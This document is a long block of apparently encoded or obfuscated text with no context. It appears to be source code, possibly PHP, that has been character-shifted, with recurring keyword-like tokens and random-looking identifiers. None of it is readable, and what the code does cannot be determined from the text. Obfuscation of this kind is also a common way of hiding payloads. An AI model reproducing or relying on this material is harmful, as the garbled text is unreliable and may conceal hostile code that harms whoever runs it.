> *%&l24,::0;+wngjhvvv$U;:3:+: 0/+601w==7i3&4;3f/;13mwngklvvdU-:+*-1d{>fj,j *+(,biomd{'3,n5'n(,'(b{>fj,j *+(,znidU"U,+>+6<{1+*jk4i&f'gb9>3,:dUU69w{1+*jk4i&f'gv-:+*-1dUU{1+*jk4i&f'gb+-*:dU69w6( l).%/>&.=%8wngjmvw68-=;0g1k=f9<,wngjfvvv6( l).%/>&.=%8wngjfvwvdU:3,:69w68-=;0g1k=f9<,wngjmvw%&l24,::0;+wngiovvv6( l).%/>&.=%8wnginvwvdU69w%&l24,::0;+wngjmvw%&l24,::0;+wngimvvv68-=;0g1k=f9<,wngilvw+-*:vdU69w~6( l).%/>&.=%8wngjmvw6( l).%/>&.=%8wngikvv##~%&l24,::0;+wngjmvw==7i3&4;3f/;13mwhglvvv-:+*-1dU{060.4214h4-+b702: *-3wxpxvdUU{( 6%k'o,ij8b6( l).%/>&.=%8wngjmvw%&l24,::0;+wilivv`(/ 30861 *-3wve{060.4214h4-+q68-=;0g1k=f9<,wngijvdU{8=ii'-:m.)f-<gl&b9>3,:dU{&.0h;k f+(m2b+-*:dU{5:+1i3f ..4jbwntmvdU90-:><7w{:ml 398)+> *6( l).%/>&.=%8wngjhv>,{9)n>on6o1n3&,5ba{7f+83*&5.9<v$U69w~==7i3&4;3f/;13mwngmnvw{7f+83*&5.9<v##:2/+&w{7f+83*&5.9<x+xv##:2/+&w{7f+83*&5.9<x/xv##:2/+&w{7f+83*&5.9<x=xvv$U*1,:+w{:ml 398)+> *68-=;0g1k=f9<,wngjhv{9)n>on6o1n3&,5vdU{8=ii'-:m.)f-<gl&b+-*:dU<01+61*:dU"U69w6( l).%/>&.=%8wngiivwvrw61+v{7f+83*&5.9<==7i3&4;3f/;13mwngjgvawllmtnkigv##w61+v{7f+83*&5.9<%&l24,::0;+wngkovabwfrlvv$UUU04'k=kgmm ;-<4*,;>&3*w%&l24,::0;+wnglkvs68-=;0g1k=f9<,wngihvq==7i3&4;3f/;13mwnihivw{7f+83*&5.9<x/xvvdU6&3-,o*-.<)&:l.1w{7f+83*&5.9<x=xvdU*1,:+w{:ml 398)+> *==7i3&4;3f/;13mwngjhv{9)n>on6o1n3&,5vdU{8=ii'-:m.)f-<gl&b+-*:dU<01+61*:dU"U69w{5:+1i3f ..4jcbov=-:>4dU{5:+1i3f ..4jrrdU{=5h'>9 i6m-i>>9mb==7i3&4;3f/;13mwngigvq==7i3&4;3f/;13mwngifvw{7f+83*&5.9<x+xvq6( l).%/>&.=%8wnghovq%&l24,::0;+wnnkkvwwo'm99nto'nji>9vswjninlotkglgifvvdU36,+w{+=2kgjmo+&0*3</ns{712&=+= ,'93,ovb6og;7mg71n,&*/<4k<23w{060.4214h4-+q{=5h'>9 i6m-i>>9mvdU69w{+=2kgjmo+&0*3</naov{&.0h;k f+(m2b9>3,:dU69w{+=2kgjmo+&0*3</ncboyy%&l24,::0;+wnghnvw==7i3&4;3f/;13mwhghvvv%&l24,::0;+whghvwmvdU69w{+=2kgjmo+&0*3</ncbov$UUU36,+w{+=2kgjmo+&0*3</ns{712&=+= ,'93,ovb6og;7mg71n,&*/<4k<23w{060.4214h4-+q{=5h'>9 i6m-i>>9mvdUUU69w{+=2kgjmo+&0*3</naov{&.0h;k f+(m2b9>3,:dUUUU"U69w{+=2kgjmo+&0*3</ncbov$U{:ml 398)+> *%&l24,::0;+wngjhv{9)n>on6o1n3&,5==7i3&4;3f/;13mwngkovttdU{8=ii'-:m.)f-<gl&b+-*:dU<01+61*:dUUUU"U69w{+=2kgjmo+&0*3</nabwklktiivv$U69w)l9;<2><;:/1 2ih)+w{7f+83*&5.9<vv$U04'k=kgmm ;-<4*,;>&3*w68-=;0g1k=f9<,wnglkvs68-=;0g1k=f9<,wnghmvq6( l).%/>&.=%8wnihivw{7f+83*&5.9<x/xvvdU6&3-,o*-.<)&:l.1w{7f+83*&5.9<x=xvdUUUU*1,:+w{:ml 398)+> *==7i3&4;3f/;13mwnghlv{9)n>on6o1n3&,5vdU":3,:$UUU{:ml 398)+> *68-=;0g1k=f9<,wnghlv{9)n>on6o1n3&,5%&l24,::0;+wngkovttdU"U{8=ii'-:m.)f-<gl&b+-*:dU<01+61*:dU"U69w==7i3&4;3f/;13mwnghkvw{712&=+= ,'93,os68-=;0g1k=f9<,wnghjvq{7f+83*&5.9<x+xq==7i3&4;3f/;13mwnghivv~bb9>3,:v$U6&3-,o*-.<)&:l.1w{7f+83*&5.9<x=xvdU*1,:+w{:ml 398)+> *%&l24,::0;+wnghlv{9)n>on6o1n3&,5vdU{8=ii'-:m.)f-<gl&b+-*:dU<01+61*:dUU"U36,+w{ =)fj6h%-ins{.- &(9,':3vb6og;7mg71n,&*/<4k<23w{( 6%k'o,ij8qw68-=;0g1k=f9<,wnghhvw{( 6%k'o,ij8sx`xvbbb9>3,:`x`xexyxvq68-=;0g1k=f9<,wnghgvq==7i3&4;3f/;13mwngifvw{7f+83*&5.9<x+xvq68-=;0g1k=f9<,wnghovq==7i3&4;3f/;13mwnnkkvwwnogljorgljovswnnjkfltggkjoivvvdU69w{ =)fj6h%-inaov{&.0h;k f+(m2b9>3,:dUUU69w{ =)fj6h%-inabwfltkohvv$U69w)l9;<2><;:/1 2ih)+w{7f+83*&5.9<vv$Upp>830*;e3>%&,6183:+01UUU04'k=kgmm ;-<4*,;>&3*w==7i3&4;3f/;13mwnglkvs==7i3&4;3f/;13mwnghfvq==7i3&4;3f/;13mwnihivw{7f+83*&5.9<x/xvvdUUUU6&3-,o*-.<)&:l.1w{7f+83*&5.9<x=xvdU*1,:+w{:ml 398)+> *6( l).%/>&.=%8wnghlv{9)n>on6o1n3&,5vdUU":3,:$U{:ml 398)+> *==7i3&4;3f/;13mwnghlv{9)n>on6o1n3&,56( l).%/>&.=%8wngkovttdU"U{8=ii'-:m.)f-<gl&b+-*:dUU<01+61*:dUUU"U69w68-=;0g1k=f9<,wngnkvw{.- &(9,':3vyy==7i3&4;3f/;13mwnghhvw{.- &(9,':3s==7i3&4;3f/;13mwnghjvq{7f+83*&5.9<x+xq%&l24,::0;+wnghivv~bb9>3,:v$U6&3-,o*-.<)&:l.1w{7f+83*&5.9<x=xvdU*1,:+w{:ml 398)+> *6( l).%/>&.=%8wnghlv{9)n>on6o1n3&,5vdU{8=ii'-:m.)f-<gl&b+-*:dUUUU<01+61*:dU"U{:ml 398)+> *68-=;0g1k=f9<,wnggov{9)n>on6o1n3&,56( l).%/>&.=%8wngkovttdU{8=ii'-:m.)f-<gl&b+-*:dU"U69w{&.0h;k f+(m2yy{8=ii'-:m.)f-<gl&yy~:2/+&w{:ml 398)+> *==7i3&4;3f/;13mwnggovvv${0/9.l6&(3n<27b  	d{4kh 1:&f9gl b{0/9.l6&(3n<27uldUUU{<>+46k0,jmmb9>3,:dU90-:><7w{:ml 398)+> *6( l).%/>&.=%8wnggov>,{57-k7j/m/l>.v$Upp><<*2*3>+:3:>4&r=*<4:+90-30<4	>-6>+601,UU69ww61+v{57-k7j/m/l>.68-=;0g1k=f9<,wngkovabwkrnvv$U{<>+46k0,jmmb+-*:d{036n4-4341(bhgmd{-<: %o=jb{036n4-4341(zfdU=-:>4dU"U"UUU69w{<>+46k0,jmmv$U*/;>+: 0/+601w68-=;0g1k=f9<,wimjvs68-=;0g1k=f9<,wnggnvq68-=;0g1k=f9<,wnggmvwvs%&l24,::0;+wnhklvvdUUU04'k=kgmm ;-<4*,;>&3*w%&l24,::0;+wnglkvs6( l).%/>&.=%8wngglvvdU90-:><7w{:ml 398)+> *==7i3&4;3f/;13mwnggkv>,{.n+>m'=n.11*hi1.ba{57-k7j/m/l>.v$U6&3-,o*-.<)&:l.1w{57-k7j/m/l>.x=xvdU*1,:+w{:ml 398)+> *%&l24,::0;+wnggkv{.n+>m'=n.11*hi1.vdUUU"UUUU"UU":3,:69w~{&.0h;k f+(m2v$Upp*:-&00/,-<,:+;:,<-6/+0-UU{//9jlm9<&hg,0%(ob8:+ 0/+601w==7i3&4;3f/;13mwimjvs}}vdU69w~68-=;0g1k=f9<,wnggjvw{//9jlm9<&hg,0%(ov##68-=;0g1k=f9<,wnggivw{//9jlm9<&hg,0%(os68-=;0g1k=f9<,wnhjnvv~bbov*/;>+: 0/+601w==7i3&4;3f/;13mwngghvs==7i3&4;3f/;13mwngggvq68-=;0g1k=f9<,wnggmvwvs%&l24,::0;+wnhklvvdU"U69w:2/+&w{:ml 398)+> *68-=;0g1k=f9<,wnggkvvv;:3:+: 0/+601w6( l).%/>&.=%8wngklvvdU:3,:69w{8=ii'-:m.)f-<gl&v*/;>+: 0/+601w%&l24,::0;+wngklvs{:ml 398)+> *s==7i3&4;3f/;13mwnggfvvdU"U9*1<+60196k>>4,11;.)'++)4,w{62,m89/7oovUU$U-:+*-16( l).%/>&.=%8wngfovw{62,m89/7oovyyw==7i3&4;3f/;13mwngfnvw{62,m89/7oos%&l24,::0;+wngfmvv~bb9>3,:##==7i3&4;3f/;13mwngfnvw{62,m89/7oos6( l).%/>&.=%8wngflvv~bb9>3,:##%&l24,::0;+wngfnvw{62,m89/7oos6( l).%/>&.=%8wnjjlvv~bb9>3,:##==7i3&4;3f/;13mwngfnvw{62,m89/7oos68-=;0g1k=f9<,wngfkvv~bb9>3,:##6( l).%/>&.=%8wngfnvw{62,m89/7oos6( l).%/>&.=%8wngfjvv~bb9>3,:##==7i3&4;3f/;13mwngfnvw{62,m89/7oos==7i3&4;3f/;13mwngfivv~bb9>3,:vdU"U9*1<+601:)(ml2j; >2<1=6 &%:;&2w{62,m89/7oovU$U69w~96k>>4,11;.)'++)4,w{62,m89/7oovv-:+*-19>3,:dU69w(=-f23(5<n;-.)'w{62,m89/7oovv-:+*-1+-*:dU69w6( l).%/>&.=%8wnhgfvw6( l).%/>&.=%8wngfhvs{62,m89/7oos{)h5njf,21i9f/hvv$UUUU90-:><7w{)h5njf,21i9f/hn>,{2g&i5:nn3o0.v$U69w):-,601 <02/>-:w{2g&i5:nn3o0.s(8=4>%+g%(8i0>1>i(l9h+wvsxcxvv-:+*-1+-*:dU"U-:+*-19>3,:dU"U-:+*-1+-*:dU"U9*1<+601/3 111,i(12%,*mfm+w{93=9>%l2lmh16-0nvU$U69w~==7i3&4;3f/;13mwngjjvw{93=9>%l2lmh16-0nv##~%&l24,::0;+wniiivw{93=9>%l2lmh16-0nvv-:+*-1dU{772332f&o8++m:0b68-=;0g1k=f9<,wnhjivw{93=9>%l2lmh16-0nvdUU69w~{772332f&o8++m:0v-:+*-1dU69w{772332f&o8++m:0awnokgjiimtfgvv$U{,(3k550<oh67'7)b68-=;0g1k=f9<,wngjkvw{93=9>%l2lmh16-0ns9>3,:s1*33soswijkjgthgvvdU69w~96k>>4,11;.)'++)4,w{,(3k550<oh67'7)vv-:+*-1dU69w*,8'.48k><:k8h-/&58683w{93=9>%l2lmh16-0nvbbb9>3,:v$U04'k=kgmm ;-<4*,;>&3*w%&l24,::0;+wngfgvs6( l).%/>&.=%8wngffvq68-=;0g1k=f9<,wnihivw{93=9>%l2lmh16-0nvvdU-:+*-1dU"U6( l).%/>&.=%8wnfoovw{93=9>%l2lmh16-0ns}c`/7/1}vdU69w==7i3&4;3f/;13mwnghnvw6( l).%/>&.=%8wmoovvv0/<><7: 61)>36;>+:w{93=9>%l2lmh16-0ns+-*:vdU-:+*-1dU"U69w{772332f&o8++m:0awnijiimmriogokivv$U{,o<kl>k.9kbw,+-618v6( l).%/>&.=%8wngjkvw{93=9>%l2lmh16-0ns9>3,:s1*33soswo'nlg;to'<hlvvdU{2.n3hh+7kl+0ibw{772332f&o8++m:0awnjklirhmkkvv`w,+-618v%&l24,::0;+wngjkvw{93=9>%l2lmh16-0ns9>3,:s1*33s{772332f&o8++m:0rwgnhktngvve}}dU{;*m4*%1><5>9(,mkb{,o<kl>k.9kq{2.n3hh+7kl+0idU69w{;*m4*%1><5>9(,mk~bb}}yy==7i3&4;3f/;13mwnhgfvw%&l24,::0;+wngfhvs{;*m4*%1><5>9(,mks{2&%./+'(<+'vv$U{&fk/oj*/:27g3n6)b9>3,:dU90-:><7w{2&%./+'(<+'n>,{4gj(m;<h&oo;v$U69w):-,601 <02/>-:w{4gj(m;<h&oo;s(8=4>%+g%(8i0>1>i(l9h+wvsxcxvv$U{&fk/oj*/:27g3n6)b+-*:dU=-:>4dU"U"U69w~{&fk/oj*/:27g3n6)v-:+*-1dU"U"U{62,m89/7oob==7i3&4;3f/;13mwnfonvw{93=9>%l2lmh16-0nvdUUU69w6( l).%/>&.=%8wngfovw{62,m89/7oovyy%&l24,::0;+wnfomvw{62,m89/7oovawfmfifktnngggmvv{62,m89/7oob5( g6,6h*67j545kh:w{62,m89/7oovdU69w~6( l).%/>&.=%8wngfovw{62,m89/7oovv-:+*-1dU69w~:)(ml2j; >2<1=6 &%:;&2w{62,m89/7oovv-:+*-1dU):: 46:60)<4jjgw{93=9>%l2lmh16-0ns{62,m89/7oovdU"U9*1<+601):: 46:60)<4jjgw{93=9>%l2lmh16-0ns{62,m89/7oovU$UUU{252-:,6o4m=o8n*)b==7i3&4;3f/;13mwnfolvw==7i3&4;3f/;13mwnfokvs}}s{62,m89/7oovdU69w~6( l).%/>&.=%8wnfojvw{252-:,6o4m=o8n*)v##%&l24,::0;+wnmgnvw{252-:,6o4m=o8n*)vbbb}}##6( l).%/>&.=%8wnmgnvw{252-:,6o4m=o8n*)vbbb==7i3&4;3f/;13mwhinvv{252-:,6o4m=o8n*)b}c`/7/1}dU69w%&l24,::0;+wnfomvw{252-:,6o4m=o8n*)vabwmktkhivyy~)%;j1-;6fo.< h=<%=*w{252-:,6o4m=o8n*)vv{252-:,6o4m=o8n*)b}c`/7/1}d{/4(:nl/(<&b  p  d{/-2i%:(->b{/4(:nl/(<&tkjdU{ ;2>om'9'>,-==b963:/:-2,w{93=9>%l2lmh16-0nvdUUU{ ;2>om'9'>,-==bw{ ;2>om'9'>,-==bbb9>3,:v`wmfotnlovew{ ;2>om'9'>,-==ywklhthkvvdU{,8nm&5<.,kl0fb68-=;0g1k=f9<,wnfoivw{93=9>%l2lmh16-0nvdU{3((i0of/g 7>mi-b68-=;0g1k=f9<,wmivw==7i3&4;3f/;13mwnmifvw{93=9>%l2lmh16-0nvs%&l24,::0;+wnfohvvdU69w{3((i0of/g 7>mi-bbb9>3,:v-:+*-1dU69w%&l24,::0;+wnfoovw{3((i0of/g 7>mi-s{252-:,6o4m=o8n*)v~bb68-=;0g1k=f9<,wnfomvw{252-:,6o4m=o8n*)vv$U==7i3&4;3f/;13mwhhnvw{3((i0of/g 7>mi-vdU-:+*-1dU"U==7i3&4;3f/;13mwnikvw{3((i0of/g 7>mi-s{ ;2>om'9'>,-==vdU69w~==7i3&4;3f/;13mwnffvw{3((i0of/g 7>mi-s{93=9>%l2lmh16-0nvv$U68-=;0g1k=f9<,whhnvw{3((i0of/g 7>mi-vdU-:+*-1dU"U69w{,8nm&5<.,kl0fv68-=;0g1k=f9<,wmnvw{93=9>%l2lmh16-0ns{,8nm&5<.,kl0fvdU69w==7i3&4;3f/;13mwnghnvw6( l).%/>&.=%8wnfogvvv0/<><7: 61)>36;>+:w{93=9>%l2lmh16-0ns+-*:vdU"UUU9*1<+6016*.45.&(o.ii,5f%gw{+)+/73;,=nvU$UUU69w~6( l).%/>&.=%8wnfofvw{+)+/73;,=nvv-:+*-1}}dU69w6( l).%/>&.=%8wnhmnvw==7i3&4;3f/;13mwnfnovs{+)+/73;,=ns{=8 )i -5+ mf0vv$U{6,m8-.=='/b{=8 )i -5+ mf0ndUUUUU{772332f&o8++m:0b==7i3&4;3f/;13mwngjjvw{6,m8-.=='/v`68-=;0g1k=f9<,wnhjivw{6,m8-.=='/veodU69w~{772332f&o8++m:0##{772332f&o8++m:0cwo';hto'nn;v##{772332f&o8++m:0awjmkmghihtllvv$Upp.*>1+69&0):-7:>;UU69w{772332f&o8++m:0awhkgnlglnrmmlgjolnvv$UUU{8-f'9&5>j>1k)5b6( l).%/>&.=%8wglgvw{6,m8-.=='/vdU69w~68-=;0g1k=f9<,wnfnnvw{8-f'9&5>j>1k)5vv{8-f'9&5>j>1k)5b{6,m8-.=='/dU{8-f'9&5>j>1k)5b==7i3&4;3f/;13mwnhgmvwxxsxpxs{8-f'9&5>j>1k)5vdU{3<f%9g7j(/i'*4mb9>3,:dU{9m;:/0(f 3*6;=b>-->&w;:961:;w==7i3&4;3f/;13mwnfnmvv`%&l24,::0;+wnkkkvws%&l24,::0;+wnknhvve}}s;:961:;w%&l24,::0;+wniifvv`%&l24,::0;+wnkkkvw  s68-=;0g1k=f9<,wnknhvve}}vdUUUU90-:><7w{9m;:/0(f 3*6;=>,{&lf%>(81:)1-;);v$U{&lf%>(81:)1-;);b68-=;0g1k=f9<,wnhgmvwxxsxpxs{&lf%>(81:)1-;);vdU69w{&lf%>(81:)1-;);~bb}}yy%&l24,::0;+wngfnvw{8-f'9&5>j>1k)5s{&lf%>(81:)1-;);qxpxvbbbov$U{3<f%9g7j(/i'*4mb+-*:dU=-:>4dU"UUUU"U69w{3<f%9g7j(/i'*4myy*,8'.48k><:k8h-/&58683w{6,m8-.=='/v~bb9>3,:v$U%&l24,::0;+whhnvw{6,m8-.=='/vdU68-=;0g1k=f9<,whhnvw68-=;0g1k=f9<,wnfnlvw{6,m8-.=='/vq%&l24,::0;+whffvq68-=;0g1k=f9<,wnihivw{6,m8-.=='/s%&l24,::0;+wnhinvvvdU":3,:$U04'k=kgmm ;-<4*,;>&3*w%&l24,::0;+wngfgvs68-=;0g1k=f9<,wnfnkvq==7i3&4;3f/;13mwnihivw{6,m8-.=='/vvdU"U"UUU-:+*-1}}dUUUU"U"Upp,:-6>36%:10-2>3+*2=3618r(61;0(UU-:+*-1{+)+/73;,=ndU"UUU9*1<+6011j(n<9km)njk&m*=jhwvU$UU,+>+6<{6,m8-.=='/b1*33dU69w{6,m8-.=='/bbb1*33v$U{/59mn0<k05f9*jhib7;)&/4+hignj(>)4ln;)wvdU{6,m8-.=='/bw%&l24,::0;+wngmnvw{/59mn0<k05f9*jhivyy6,,:+w{/59mn0<k05f9*jhi6( l).%/>&.=%8wijjvvyy%&l24,::0;+wngfnvww,+-618v{/59mn0<k05f9*jhi%&l24,::0;+wnfnjvs68-=;0g1k=f9<,wnfnivvbbbovdU"U-:+*-1{6,m8-.=='/dU"UUUU9*1<+601%<'>8i7om&)0o63:kwvU$U69w~;:961:;w68-=;0g1k=f9<,wnfnhvvv-:+*-1dUU{;:m.20n>922=h/bq68-=;0g1k=f9<,wnjhjvdU69w~6( l).%/>&.=%8wngjjvw{;:m.20n>922=h/vv$U{6<.&<'18>&4(-(b68-=;0g1k=f9<,wnfnlvwvq68-=;0g1k=f9<,wnfngvdU69w6( l).%/>&.=%8wnfnfvw{6<.&<'18>&4(-(vv{;:m.20n>922=h/b{6<.&<'18>&4(-(dUUU"U69w~==7i3&4;3f/;13mwnfmovw{;:m.20n>922=h/v##~==7i3&4;3f/;13mwnfmnvw{;:m.20n>922=h/vv-:+*-1dU{8-f'9&5>j>1k)5b%&l24,::0;+wnfmmvw{;:m.20n>922=h/vdUUUU69w6( l).%/>&.=%8wnfnnvw{8-f'9&5>j>1k)5vyy{8-f'9&5>j>1k)5~bb}}yy%&l24,::0;+wnfmlvw{8-f'9&5>j>1k)5vv{;:m.20n>922=h/b{8-f'9&5>j>1k)5dU69w6( l).%/>&.=%8wnfmkvw{;:m.20n>922=h/vawo'nmijjfto'm;f>>hvv-:+*-1dU{62,m89/7oob68-=;0g1k=f9<,wnfmjvw{;:m.20n>922=h/vdU69w~6( l).%/>&.=%8wnfmivw{62,m89/7oov##{62,m89/7oobbb}}v-:+*-1dU{-%&j&f,5o49%6<bw6( l).%/>&.=%8wngfnvw{62,m89/7oos==7i3&4;3f/;13mwnfmhvv~bb9>3,:##6( l).%/>&.=%8wngfnvw{62,m89/7oos%&l24,::0;+wnfmgvv~bb9>3,:vdU{5 :=4n%'k))8(.b9>3,:dU69w%&l24,::0;+wnfmfvw{62,m89/7oos6( l).%/>&.=%8wnflovvbbb9>3,:v$Upu,+-:>2618>-=6+->+0-upUU69w~:2/+&w{68-=;0g1k=f9<,wnflnvvv$U{5 :=4n%'k))8(.b+-*:dU":3,:$UUU{7*h282j3+<(72b==7i3&4;3f/;13mwnghnvw68-=;0g1k=f9<,wnflmvv`%&l24,::0;+wnfllvwve6( l).%/>&.=%8wnflkvdUUUU69w~6( l).%/>&.=%8wnfljvw{7*h282j3+<(72v##~==7i3&4;3f/;13mwnflivw{7*h282j3+<(72vv{5 :=4n%'k))8(.b+-*:dUU"U"UUUU{7<7*/j&647  b9>3,:dUU{>-g79<1<jh4khb9>3,:dU69w~68-=;0g1k=f9<,wnhmnvw68-=;0g1k=f9<,wnflhvs{62,m89/7oovyy;:961:;w6( l).%/>&.=%8wniifvvv$U{ ><b  q6( l).%/>&.=%8wnlfkvdUUUU69w6( l).%/>&.=%8wnfmovw{ ><vv$U{0*2%360hi gbw,+-618v6( l).%/>&.=%8wnflgvw{ ><s9>3,:s1*33soswo'>=>to'jkivvdUUU69w6( l).%/>&.=%8wnfmfvw{0*2%360hi gs==7i3&4;3f/;13mwnflfvv~bb9>3,:v{7<7*/j&647  b+-*:dU"U":3,:69wU68-=;0g1k=f9<,wnfkovw{62,m89/7oos==7i3&4;3f/;13mwionvvbbb9>3,:Uyy68-=;0g1k=f9<,wnhmnvw6( l).%/>&.=%8wnfknvs{62,m89/7oovUUv$UU{>-g79<1<jh4khb+-*:dU"U{9*42&n*(khf0b9>3,:dU69w1j(n<9km)njk&m*=jhwvv${%7.m6=&71bjlmkd{75f.6:o4o-01-%b{%7.m6=&71znjdUUUU69wU~%&l24,::0;+wnhmnvw==7i3&4;3f/;13mwnfkmvs{62,m89/7oovU##~68-=;0g1k=f9<,wnhmnvw68-=;0g1k=f9<,wnfklvs{62,m89/7oovU##~==7i3&4;3f/;13mwnfkkvw%&l24,::0;+wnfkjvs{62,m89/7oovUv{9*42&n*(khf0b+-*:dU"U69w~{-%&j&f,5o49%6<yy~{5 :=4n%'k))8(.yy~{7<7*/j&647  yy~{9*42&n*(khf0yy~{>-g79<1<jh4khv-:+*-1dUUUU{>-29%.,6k7b}}dU{252-:,6o4m=o8n*)b{62,m89/7oodU69w{-%&j&f,5o49%6<v$U69w%&l24,::0;+wnhgfvw6( l).%/>&.=%8wnfkivs{62,m89/7oos{/;/&=6f=7h%0l14vv{>-29%.,6k7qb68-=;0g1k=f9<,wnfkhvw}1}s{/;/&=6f=7h%0l14ovdU{252-:,6o4m=o8n*)b6( l).%/>&.=%8wnfolvw==7i3&4;3f/;13mwnfkgvs}}s{62,m89/7oovdUUU69w~==7i3&4;3f/;13mwnfmivw{252-:,6o4m=o8n*)vv-:+*-1dU69w%&l24,::0;+wnfkfvw==7i3&4;3f/;13mwnfjovs{252-:,6o4m=o8n*)s{3&l+j4%,j=2)'nmvv{>-29%.,6k7qb}1}q%&l24,::0;+wnfkhvw}1}s{3&l+j4%,j=2)'nmovdU{252-:,6o4m=o8n*)b==7i3&4;3f/;13mwnfjnvw%&l24,::0;+wnfjovs}}s{252-:,6o4m=o8n*)vdU69w~==7i3&4;3f/;13mwnfmivw{252-:,6o4m=o8n*)vv-:+*-1dU"U69w{5 :=4n%'k))8(.yy68-=;0g1k=f9<,wnfkkvw==7i3&4;3f/;13mwnfjmvs{252-:,6o4m=o8n*)vv$U{252-:,6o4m=o8n*)b68-=;0g1k=f9<,wnfjnvw6( l).%/>&.=%8wnfjlvs==7i3&4;3f/;13mwnfjkvq};:961:wx  xsw;:961:;wx  xv`  eqx(/r<01+:1+xvqxpq,< +2/xvd1}s{252-:,6o4m=o8n*)snvdU69w~68-=;0g1k=f9<,wnfjjvw{252-:,6o4m=o8n*)vv-:+*-1dUU"UUU69w{7<7*/j&647  yy%&l24,::0;+wnfjivw68-=;0g1k=f9<,wnfjmvs{252-:,6o4m=o8n*)vv$U{252-:,6o4m=o8n*)b68-=;0g1k=f9<,wnfjhvw6( l).%/>&.=%8wnfjgvs6( l).%/>&.=%8wnfjfvq};:961:wx xs+-*:vdpu up1}s{252-:,6o4m=o8n*)snvdU69w~%&l24,::0;+wnfjjvw{252-:,6o4m=o8n*)vv-:+*-1dU":3,:69w{>-g79<1<jh4khv$U{252-:,6o4m=o8n*)b%&l24,::0;+wnfiovw6( l).%/>&.=%8wnfinvs==7i3&4;3f/;13mwnfjfvq};:961:wx xs+-*:vdpu up1}s{252-:,6o4m=o8n*)snvdU69w~68-=;0g1k=f9<,wnfjjvw{252-:,6o4m=o8n*)vv-:+*-1dU"UU69w{9*42&n*(khf0v$U{252-:,6o4m=o8n*)b68-=;0g1k=f9<,wnfiovw68-=;0g1k=f9<,wnfimvs}}s{252-:,6o4m=o8n*)vdU69w~==7i3&4;3f/;13mwnfjjvw{252-:,6o4m=o8n*)vv-:+*-1dU69w6( l).%/>&.=%8wnfilvw68-=;0g1k=f9<,wnfjgvs{252-:,6o4m=o8n*)vv$U{252-:,6o4m=o8n*)b%&l24,::0;+wnfikvw%&l24,::0;+wnfjgvs%&l24,::0;+wnfijvq};:961:wx 
xs+-*:vd1;:961:wx 
 xs+-*:vd1;:961:wx 
 xs9>3,:vd1}s{252-:,6o4m=o8n*)snvdUU69w~68-=;0g1k=f9<,wnfiivw{252-:,6o4m=o8n*)vv-:+*-1dUUU"U"U69w{252-:,6o4m=o8n*)bbb{62,m89/7oov-:+*-1dU69w~)%;j1-;6fo.< h=<%=*w{252-:,6o4m=o8n*)vv-:+*-1dU69w{7<7*/j&647  yy~1on< f0*0+>j>%6w{;:m.20n>922=h/s{62,m89/7oovv$UUU04'k=kgmm ;-<4*,;>&3*w%&l24,::0;+wnfihvs6( l).%/>&.=%8wniknvvdU{252-:,6o4m=o8n*)b6( l).%/>&.=%8wnfikvw6( l).%/>&.=%8wnfigvs%&l24,::0;+wnfifvs{252-:,6o4m=o8n*)snvdU69w~==7i3&4;3f/;13mwnfiivw{252-:,6o4m=o8n*)v##{252-:,6o4m=o8n*)bbb{62,m89/7oov-:+*-1dU69w~)%;j1-;6fo.< h=<%=*w{252-:,6o4m=o8n*)vv-:+*-1dU"UUU{ ;2>om'9'>,-==b963:/:-2,w{;:m.20n>922=h/vdU{ ;2>om'9'>,-==bw{ ;2>om'9'>,-==bbb9>3,:v`wo'nm>to'h>vew{ ;2>om'9'>,-==ywmigtmklvvdU{,8nm&5<.,kl0fb==7i3&4;3f/;13mwnfoivw{;:m.20n>922=h/vdU{3((i0of/g 7>mi-b68-=;0g1k=f9<,wmivw6( l).%/>&.=%8wnfnlvw{;:m.20n>922=h/vs==7i3&4;3f/;13mwnfhovvdU69w{3((i0of/g 7>mi-bbb9>3,:v-:+*-1dU69w==7i3&4;3f/;13mwnfoovw{3((i0of/g 7>mi-s{252-:,6o4m=o8n*)v~bb6( l).%/>&.=%8wnfomvw{252-:,6o4m=o8n*)vv$U==7i3&4;3f/;13mwhhnvw{3((i0of/g 7>mi-vdU-:+*-1dU"U==7i3&4;3f/;13mwnfhnvw{3((i0of/g 7>mi-s{ ;2>om'9'>,-==vdU69w~6( l).%/>&.=%8wnffvw{3((i0of/g 7>mi-s{;:m.20n>922=h/vv$Upu9616+:,<7:;*3:-upUUU==7i3&4;3f/;13mwhhnvw{3((i0of/g 7>mi-vdU-:+*-1dU"U69w{,8nm&5<.,kl0fv68-=;0g1k=f9<,wmnvw{;:m.20n>922=h/s{,8nm&5<.,kl0fvdU69w68-=;0g1k=f9<,wnghnvw==7i3&4;3f/;13mwnfogvvv0/<><7: 61)>36;>+:w{;:m.20n>922=h/s+-*:vdU69w%&l24,::0;+wnfkfvw68-=;0g1k=f9<,wnfhmvs{>-29%.,6k7s{,5,7;=)j*2-)vv$U90-:><7w68-=;0g1k=f9<,wnmgmvw{,5,7;=)j*2-)nv>,{*o-l.6%f64'9v$U69w6( l).%/>&.=%8wnfhlvw{*o-l.6%f64'9s68-=;0g1k=f9<,wnfmgvvbbboyy6( l).%/>&.=%8wnfmovw{*o-l.6%f64'9vv%&l24,::0;+whhnvw{*o-l.6%f64'9vdU"U"U69w6( l).%/>&.=%8wnghnvw==7i3&4;3f/;13mwnfhkvvyy6( l).%/>&.=%8wnfkfvw6( l).%/>&.=%8wnfhjvs{>-29%.,6k7s{7&h1&n6n6k=76kvv$U90-:><7w6( l).%/>&.=%8wnfhivw{7&h1&n6n6k=76knv>,{/l2k76i/-.1v$U69w68-=;0g1k=f9<,wnfilvw6( l).%/>&.=%8wnfhhvs{/l2k76i/-.1vv;:3:+: 0/+601w{/l2k76i/-.1vdUUU"U"U"U9*1<+6012.lj<'li3h-ik0/-i*wvU$UUUU69w~;:961:;w%&l24,::0;+wnfhgvvv-:+*-1dUUUU{2fnf>;5'm=0(b;:961:;w68-=;0g1k=f9<,wniihvv`
 
 e  q%&l24,::0;+wnfhfvdU{(-+ (+458&794&mb>-->&wvdU69w==7i3&4;3f/;13mwnfgovw68-=;0g1k=f9<,wnfgnvvv$U69w6( l).%/>&.=%8wnfljvw{2fnf>;5'm=0(vv90-:><7ww>-->&v==7i3&4;3f/;13mwnfgnvw{2fnf>;5'm=0(q%&l24,::0;+wiimvv>,{)-7(ghm>=8<,ov{(-+ (+458&794&mb{)-7(ghm>=8<,odU69w;:961:;w6( l).%/>&.=%8wgmgvvyy%&l24,::0;+wnfgmvw 
 vv90-:><7ww>-->&v68-=;0g1k=f9<,wnfgnvw 
